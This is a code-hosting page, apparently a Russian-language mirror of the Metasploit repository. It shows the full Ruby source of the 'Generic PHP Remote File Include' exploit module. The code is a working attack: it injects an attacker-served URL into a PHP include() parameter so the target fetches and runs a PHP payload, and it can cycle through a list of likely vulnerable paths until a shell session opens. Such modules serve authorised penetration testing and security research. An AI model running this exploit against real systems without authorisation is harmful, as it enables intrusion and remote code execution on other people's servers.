/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/unix/webapp/php_include.rb
202 строки
7 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in unix/webapp exploit modules
30 апр 2026, 02:16
30 апр 2026, 02:16
0bf595c
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::PHPInclude prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Generic PHP Remote File Include', 'Description' => %q{ This module can be used to exploit any generic PHP remote file include vulnerability, where the application includes code like the following: <?php include($_REQUEST['inc']); ?> }, 'Author' => [ 'hdm', 'egypt', 'ethicalhack3r', 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => MSF_LICENSE, # 'References' => [ ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find' }, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144 # 256k }, 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DisclosureDate' => '2006-12-17', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('ROOTDIR', [ true, 'The base directory to prepend to PHPURIs', '/' ]), OptString.new('PHPURI', [ false, "The URI to request, with the include()'d parameter changed to !INJECT!", 'test.php?inc=!INJECT!' ]), OptString.new('FORMDATA', [ false, "POST data to send, with the include()'d parameter changed to !INJECT!. Otherwise will be a GET request." ]), OptString.new('HEADERS', [ false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"' ]), OptPath.new('PHPRFIDB', [ false, "A local file containing a list of PHPURIs to try, with the include()'d parameter changed to !INJECT!", File.join(Msf::Config.data_directory, 'exploits', 'php', 'rfi-locations.dat') ]) ] ) end # TODO: Would be nice if datastore['PHPURI'] is set, to use on_request_uri() to see if a connection happens, then would be able to return Exploit::CheckCode::Vulnerable def check method = datastore['FORMDATA'] ? 'POST' : 'GET' uri = normalize_uri(datastore['ROOTDIR'], datastore['PHPURI']).gsub('!INJECT!', '') print_status("Checking URI via #{method}: #{uri}") response = { 'global' => true, 'uri' => uri, 'method' => method, 'headers' => datastore_headers.merge( 'Connection' => 'close' ) } unless method.casecmp?('get') data = method.casecmp?('get') ? nil : encoded_url(datastore['FORMDATA'].gsub('!INJECT!', '')) response['headers']['Content-Type'] = 'application/x-www-form-urlencoded' response['headers']['Content-Length'] = data.length response['data'] = data end response = send_request_raw(response) return Exploit::CheckCode::Unknown('Could not determine the target status') unless response return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200 vprint_warning("Server responded with: HTTP #{response.code}") return Exploit::CheckCode::Unknown('Could not determine the target status') end def datastore_headers headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : '' headers_hash = {} if headers && !headers.empty? headers.split(',').each do |header| next if header.nil? || header.empty? key, value = header.split('=', 2) next if key.nil? || value.nil? key = key.strip value = value.strip next if key.empty? || value.empty? headers_hash[key] = value end end headers_hash end def encoded_url(input) encoded_replacement = Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', '%') # ? append is required and PHPRFIDB cannot be trusted input.strip.gsub('!INJECT!', encoded_replacement) end def php_exploit method = datastore['FORMDATA'] ? 'POST' : 'GET' data = method.casecmp?('get') ? nil : encoded_url(datastore['FORMDATA']) uris = [] # PHPURI overrides the PHPRFIDB list if datastore['PHPURI'] uris << encoded_url(normalize_uri(datastore['ROOTDIR'], datastore['PHPURI'])) else vprint_status('Loading PHPURIs from PHPRFIDB') ::File.open(datastore['PHPRFIDB'], 'rb') do |fd| fd.read(fd.stat.size).split(/\n/).each do |line| line.strip! next if line.empty? next if line =~ /^#/ next if line !~ %r{^/} uris << encoded_url(normalize_uri(datastore['ROOTDIR'], line)) end end uris.uniq! print_status("Loaded #{uris.length} PHPURIs") end # Very short timeout because the request may never return if we're # sending a socket payload timeout = 0 # We can't make this parallel without breaking PHP findsock # Findsock payloads cause this loop to run slowly uris.each do |uri| break if session_created? feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{Rex::Socket.to_authority(rhost, rport)}#{uri}" feedback_text << " -> #{data}" unless method.casecmp?('get') vprint_status(feedback_text) begin response = { 'global' => true, 'uri' => uri, 'method' => method, 'headers' => datastore_headers.merge( 'Connection' => 'close' ) } unless method.casecmp?('get') response['headers']['Content-Type'] = 'application/x-www-form-urlencoded' response['headers']['Content-Length'] = data.length response['data'] = data end response = send_request_raw(response, timeout) # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails if response.nil? vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.') elsif response.code != 200 vprint_error("Error with payload request (HTTP #{response.code}, should be 200)") end rescue ::Interrupt raise $ERROR_INFO rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused print_error('The target service unreachable') break rescue ::OpenSSL::SSL::SSLError print_error('The target failed to negotiate SSL, is this really an SSL service?') break rescue => e print_error("Exception #{e.class} #{e}") end Thread.pass end end end